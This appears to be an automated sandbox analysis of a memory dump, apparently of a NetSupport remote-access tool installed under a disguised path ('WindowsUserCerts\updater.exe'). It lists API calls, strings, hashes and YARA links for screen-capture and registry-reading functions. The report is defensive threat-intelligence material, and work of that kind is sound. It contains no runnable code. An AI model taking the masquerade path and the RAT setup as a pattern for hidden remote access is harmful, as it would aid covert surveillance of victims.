Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Color$Object$Select$CreateDeleteInflateLineMoveRect
String ID:
API String ID: 1903512896-0
Opcode ID: 2cfe13d901323041af8979d0bf4f233a4973ef12df7ab060298465a19fe5eca5
Instruction ID: aabe104b4c11b9f3e9ba86a19e2760383e051eecf234c5ca32d00541c09823f7
Opcode Fuzzy Hash: 2cfe13d901323041af8979d0bf4f233a4973ef12df7ab060298465a19fe5eca5
Instruction Fuzzy Hash: D18170B5900209AFEB14DFA4CC85EBFB7B9FF88704F104658F611A7681D770A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1116C82C, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C834
__mtterm.LIBCMT ref: 1116C840

Part of subcall function 1116C50B: DecodePointer.KERNEL32(00000007,1116A45F,1116A445,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C51C
Part of subcall function 1116C50B: TlsFree.KERNEL32(00000026,1116A45F,1116A445,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C536
Part of subcall function 1116C50B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,1116A45F,1116A445,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1117448C
Part of subcall function 1116C50B: _free.LIBCMT ref: 1117448F
Part of subcall function 1116C50B: DeleteCriticalSection.KERNEL32(00000026,?,?,1116A45F,1116A445,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 111744B6

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1116C856
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1116C863
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1116C870
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1116C87D
TlsAlloc.KERNEL32(?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C8CD
TlsSetValue.KERNEL32(00000000,?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C8E8
__init_pointers.LIBCMT ref: 1116C8F2
EncodePointer.KERNEL32(?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C903
EncodePointer.KERNEL32(?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C910
EncodePointer.KERNEL32(?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C91D
EncodePointer.KERNEL32(?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C92A
DecodePointer.KERNEL32(Function_0016C68F,?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C94B
__calloc_crt.LIBCMT ref: 1116C960
DecodePointer.KERNEL32(00000000,?,?,1116A39C,111DCFE0,00000008,1116A530,?,?,?,111DD000,0000000C,1116A5EB,?), ref: 1116C97A
GetCurrentThreadId.KERNEL32 ref: 1116C98C

Strings

FlsGetValue, xrefs: 1116C858
KERNEL32.DLL, xrefs: 1116C82F
FlsAlloc, xrefs: 1116C850
FlsFree, xrefs: 1116C872
FlsSetValue, xrefs: 1116C865

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: ff100596a171698e0f72d425dcc8a8edb603d79fc51a917646957fdebf1e1d10
Instruction ID: eae3b44d2d4058427b351dea007f42909421844a0ee85484cf0d8b3efa75680d
Opcode Fuzzy Hash: ff100596a171698e0f72d425dcc8a8edb603d79fc51a917646957fdebf1e1d10
Instruction Fuzzy Hash: 8F316AB1D013369BD7219FB58E98B95FFA8AB84738B00063AE83492658EB72D055CF40

Uniqueness

Uniqueness Score: -1.00%

Function 1111D040, Relevance: 38.9, APIs: 14, Strings: 8, Instructions: 418windowCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1111D1F8

Part of subcall function 11153570: _memmove.LIBCMT ref: 111535AC

wsprintfA.USER32 ref: 1111D30E
wsprintfA.USER32 ref: 1111D437
_free.LIBCMT ref: 1111D466
_free.LIBCMT ref: 1111D4E0

Part of subcall function 11153730: GetDC.USER32(00000000), ref: 11153763
Part of subcall function 11153730: CreateCompatibleDC.GDI32(00000000), ref: 11153779
Part of subcall function 11153730: SelectPalette.GDI32(00000000,?,00000000), ref: 1115385F
Part of subcall function 11153730: CreateDIBSection.GDI32(00000000,00000028,00000000,?,00000000,00000000), ref: 11153887
Part of subcall function 11153730: SelectObject.GDI32(00000000,00000000), ref: 1115389B

DeleteObject.GDI32(00000000), ref: 1111D524
GetLastError.KERNEL32 ref: 1111D532
CreateCompatibleDC.GDI32(?), ref: 1111D55A
_free.LIBCMT ref: 1111D279

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

SelectObject.GDI32(00000000,?), ref: 1111D585
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,00CC0020), ref: 1111D5C9
SelectObject.GDI32(00000000,?), ref: 1111D5D7
DeleteDC.GDI32(00000000), ref: 1111D62E
DeleteObject.GDI32(?), ref: 1111D63B

Strings

Error. cvt overflow dst=%p, start=%p, end=%p, xrefs: 1111D431
cbUnpacked <= cbMax, xrefs: 1111D24F
..\ctl32\Remote.cpp, xrefs: 1111D24A, 1111D31F, 1111D448, 1111D56B
Error deleting hbmp, e=%d, xrefs: 1111D539
workdc, xrefs: 1111D570
Error. Unknown colordepth %d for newscrape, xrefs: 1111D4BF
DoNewScrape, xrefs: 1111D127
Error. b4cvt dst=%p, start=%p, end=%p, xrefs: 1111D308

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Object$Select$CreateDelete_freewsprintf$CompatibleErrorLast$ExitMessagePaletteProcessSection_malloc_memmove
String ID: ..\ctl32\Remote.cpp$DoNewScrape$Error deleting hbmp, e=%d$Error. Unknown colordepth %d for newscrape$Error. b4cvt dst=%p, start=%p, end=%p$Error. cvt overflow dst=%p, start=%p, end=%p$cbUnpacked <= cbMax$workdc
API String ID: 2335815387-1853163823
Opcode ID: 4f613a2fe891fb06b1de0c1bc50cbb05fd11584696d30b796b8dce750a2c3026
Instruction ID: 2b9f63541b4d259c9eba475547952ab502fd0fc1a2c7f637f53db9b2787f3cd1
Opcode Fuzzy Hash: 4f613a2fe891fb06b1de0c1bc50cbb05fd11584696d30b796b8dce750a2c3026
Instruction Fuzzy Hash: BAF192B1A002169FEB24DB74CD84FDEF7B9AB44304F4485A9E55EAB244D734AE80CF61

Uniqueness

Uniqueness Score: -1.00%

Function 110EF8E0, Relevance: 36.2, APIs: 24, Instructions: 222windowmemoryCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 110EF8FE
GetStockObject.GDI32(0000000F), ref: 110EF912
GetDC.USER32(00000000), ref: 110EF98A
SelectPalette.GDI32(00000000,00000000,00000000), ref: 110EF99B
RealizePalette.GDI32(00000000), ref: 110EF9A1
GlobalAlloc.KERNEL32(00000042,?,00000000), ref: 110EF9BC
SelectPalette.GDI32(00000000,?,00000001), ref: 110EF9D0
RealizePalette.GDI32(00000000), ref: 110EF9D3
ReleaseDC.USER32 ref: 110EF9DB

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Palette$ObjectRealizeSelect$AllocGlobalReleaseStock
String ID:
API String ID: 1969595663-0
Opcode ID: bce5d3ccbce10ed5eefc93319fcdcff04fec20c36a24ddf07fe8ce088f884d40
Instruction ID: e17b5be7c9f279923d338761c599270f53c35d08167a1dd70bb196578b399fb7
Opcode Fuzzy Hash: bce5d3ccbce10ed5eefc93319fcdcff04fec20c36a24ddf07fe8ce088f884d40
Instruction Fuzzy Hash: 3471B2B2E41228AFDB04CFE5CC88BEEB7B9FF48705F044129F515E7244D674A9408BA1

Uniqueness

Uniqueness Score: -1.00%

Function 111449B0, Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 281COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11144A18
RaiseException.KERNEL32(80000003,00000000,00000000,00000000), ref: 11144A65

Strings

Support\, xrefs: 11144BAA
C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe, xrefs: 11144AC3, 11144AD1, 11144AF6
_%04d_%02d_%02d_%02d%02d%02d.dmp, xrefs: 11144B65
%d., xrefs: 11144B34

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountExceptionRaiseTick
String ID: %d.$C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe$Support\$_%04d_%02d_%02d_%02d%02d%02d.dmp
API String ID: 473833368-3862308290
Opcode ID: 4860f3d0019764b5933fc11ddd4e9d7fadde2272faca06d11e84d45086da2242
Instruction ID: 8647a66d882b2476aed407aa5da18efc97031ce7c35b377ea2f5eba58ac2b1d4
Opcode Fuzzy Hash: 4860f3d0019764b5933fc11ddd4e9d7fadde2272faca06d11e84d45086da2242
Instruction Fuzzy Hash: B1A14971944669AFD721CF74CD50BDAF7F4FF48B04F2082A8E959A7A80EB309944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1105F830, Relevance: 30.1, APIs: 4, Strings: 13, Instructions: 340COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1105F890
wsprintfA.USER32 ref: 1105F8A4
wsprintfA.USER32 ref: 1105F8FF
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,00000000,?,80000002,?,00020019), ref: 1105F97F

Strings

Software\Productive Computer Insight, xrefs: 1105F86D
General\ProductId, xrefs: 1105FB8D
HKCU, xrefs: 1105FA48
NSS, xrefs: 1105F8E6
HKLM, xrefs: 1105FA01
%s\%s, xrefs: 1105F878, 1105F89E, 1105FAE6
NetSupport School, xrefs: 1105FCFD
Software\NetSupport Ltd, xrefs: 1105F893
ConfigList, xrefs: 1105FADA
NetSupport School Pro, xrefs: 1105FCE1
\, xrefs: 1105FA5A
NSM, xrefs: 1105F8ED, 1105F8F2
%sUseHKLM, xrefs: 1105F8F9

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$EnvironmentExpandStrings
String ID: %sUseHKLM$%s\%s$ConfigList$General\ProductId$HKCU$HKLM$NSM$NSS$NetSupport School$NetSupport School Pro$Software\NetSupport Ltd$Software\Productive Computer Insight$\
API String ID: 2608976442-3241390832
Opcode ID: 2a903cac9ea3e90876404fd3443ab57c65843769289415fd435a4d2424e95264
Instruction ID: e96a2cbbb3b754be6409a963181338f47424fc131a1cec65b85ff3420bffa3c7
Opcode Fuzzy Hash: 2a903cac9ea3e90876404fd3443ab57c65843769289415fd435a4d2424e95264
Instruction Fuzzy Hash: 89D1C375D0126EAEDB61DB64DD54BDEB7B8AF19309F0000D8D909A3181FB746B84CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 11002880, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

SelectObject.GDI32(?,00000000), ref: 110028BC
ReleaseDC.USER32 ref: 110028E9
MoveToEx.GDI32(?,?,?,00000000), ref: 11002975
LineTo.GDI32(?,?,?), ref: 110029A5
_free.LIBCMT ref: 110029B9
SelectObject.GDI32(?,00000000), ref: 110029D7

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetDC.USER32(00000000), ref: 11002A05
SelectObject.GDI32(00000000,?), ref: 11002A1F
SelectObject.GDI32(?,?), ref: 11002A31
MoveToEx.GDI32(?,?,?,00000000), ref: 11002A46
MoveToEx.GDI32(?,?,?,00000000), ref: 11002A57
_malloc.LIBCMT ref: 11002A85
LineTo.GDI32(?,?,?), ref: 11002AC6
MoveToEx.GDI32(?,?,?,00000000), ref: 11002AD7

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110028D2, 110029EF
m_hWnd, xrefs: 110028D7, 110029F4

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: MoveObjectSelect$Line$ErrorExitLastMessageProcessRelease_free_mallocwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1053086232-2830328467
Opcode ID: 1031a7ccd9b6cda3543cea5e4b5a7893d7c2da49b110c9f6cd400587ab1a1c69
Instruction ID: a53e60361ca9f8e1ddec1ea8b6ef60c725d96ee5a613c582461dddc916ee5901
Opcode Fuzzy Hash: 1031a7ccd9b6cda3543cea5e4b5a7893d7c2da49b110c9f6cd400587ab1a1c69
Instruction Fuzzy Hash: 139109B5600B459FD364CF69D988BD7B7E9FB88319F10492DE5AA87310DB30B881CB50

Uniqueness

Uniqueness Score: -1.00%

Function 110711C0, Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 285COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

_malloc.LIBCMT ref: 11071282

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_free.LIBCMT ref: 110712A7

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

wsprintfA.USER32 ref: 11071385
wsprintfA.USER32 ref: 110713FD
_memmove.LIBCMT ref: 1107144D

Strings

..\ctl32\Connect.cpp, xrefs: 11071427
%02x , xrefs: 1107137F, 11071490
Warning. Bigneasy can't alloc %u, xrefs: 11071292
Error: %s, xrefs: 110714D4
pEntry->sofar (%d) != pEntry->totlen (%d), uid=%u, pEntry=%xbigdata(%x)=%s, xrefs: 110714C1
too much data, biguid=%u, thislen=%d, sofar=%d, totlen=%d, more=%d, excess=%d, allzero=%d, Excess: %s, xrefs: 110713F7
Error: ignored last bigneasy data without earlier data (biguid=%d), xrefs: 11071263

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Heap_malloc$AllocateErrorFreeLast_free_memmove_memset
String ID: %02x $..\ctl32\Connect.cpp$Error: %s$Error: ignored last bigneasy data without earlier data (biguid=%d)$Warning. Bigneasy can't alloc %u$pEntry->sofar (%d) != pEntry->totlen (%d), uid=%u, pEntry=%xbigdata(%x)=%s$too much data, biguid=%u, thislen=%d, sofar=%d, totlen=%d, more=%d, excess=%d, allzero=%d, Excess: %s
API String ID: 2245488504-3174212670
Opcode ID: 0f06abe1513b620872fd53de088e708051ad2334868208dc597c41cd757a9fb3
Instruction ID: ea22814be30d160bcc6a6f2f34e81bedc3e4793a1547ddc51286dcf2c7d1f429
Opcode Fuzzy Hash: 0f06abe1513b620872fd53de088e708051ad2334868208dc597c41cd757a9fb3
Instruction Fuzzy Hash: A8B18375E0521A9FDB24CF69CC84B9AF7F9BF44304F1085E9E48997280EB71AA84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 110061F0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

ReleaseDC.USER32 ref: 11006267
InflateRect.USER32(?,?,?), ref: 11006306
SelectObject.GDI32(?,?), ref: 1100632D
MoveToEx.GDI32(?,?,?,00000000), ref: 110063D5
LineTo.GDI32(?,?,?), ref: 11006410
Polygon.GDI32(?,?,00000003), ref: 110064C8
SelectObject.GDI32(?,?), ref: 110064DC
SelectObject.GDI32(?,?), ref: 110064E6
InflateRect.USER32(?,?,?), ref: 11006522
SelectObject.GDI32(?,?), ref: 1100633D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetDC.USER32(00000000), ref: 11006569

Part of subcall function 11002620: SetROP2.GDI32(?,00000007), ref: 11002631
Part of subcall function 11002620: SelectObject.GDI32(?,?), ref: 11002642
Part of subcall function 11002620: MoveToEx.GDI32(?,?,?,00000000), ref: 110026AF
Part of subcall function 11002620: LineTo.GDI32(?,00000000,?), ref: 110026E6

__floor_pentium4.LIBCMT ref: 11006621

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11006250, 11006553
m_hWnd, xrefs: 11006255, 11006558

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ObjectSelect$InflateLineMoveRect$ErrorExitLastMessagePolygonProcessRelease__floor_pentium4wsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 4043586968-2830328467
Opcode ID: f40b548af5a3b969317c6371caf9fc461ff3c483ba902ae5864a027bb338f110
Instruction ID: 40ef36492cbbdd63dd1a1365ef49c9bea88dfca2d0282d7a726c9572eb38d0e4
Opcode Fuzzy Hash: f40b548af5a3b969317c6371caf9fc461ff3c483ba902ae5864a027bb338f110
Instruction Fuzzy Hash: 75E14BB4E00B09DBCB14DFA9D984ADEFBF8FF48308F104529D46AA7254DB31A965CB50

Uniqueness

Uniqueness Score: -1.00%

Function 111448D0, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 111448F6
GetProcAddress.KERNEL32(00000000), ref: 111448FD
GetCurrentProcessId.KERNEL32(00000000), ref: 11144913
GetCurrentProcessId.KERNEL32 ref: 11144931
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 1114493B
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 1114494E
GetTokenInformation.ADVAPI32(00000000,0000000C(TokenIntegrityLevel),111EB878,00000004,?), ref: 1114496D
CloseHandle.KERNEL32(00000000), ref: 11144994
CloseHandle.KERNEL32(00000000), ref: 1114499B

Strings

kernel32.dll, xrefs: 111448EA
ProcessIdToSessionId, xrefs: 111448E5

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
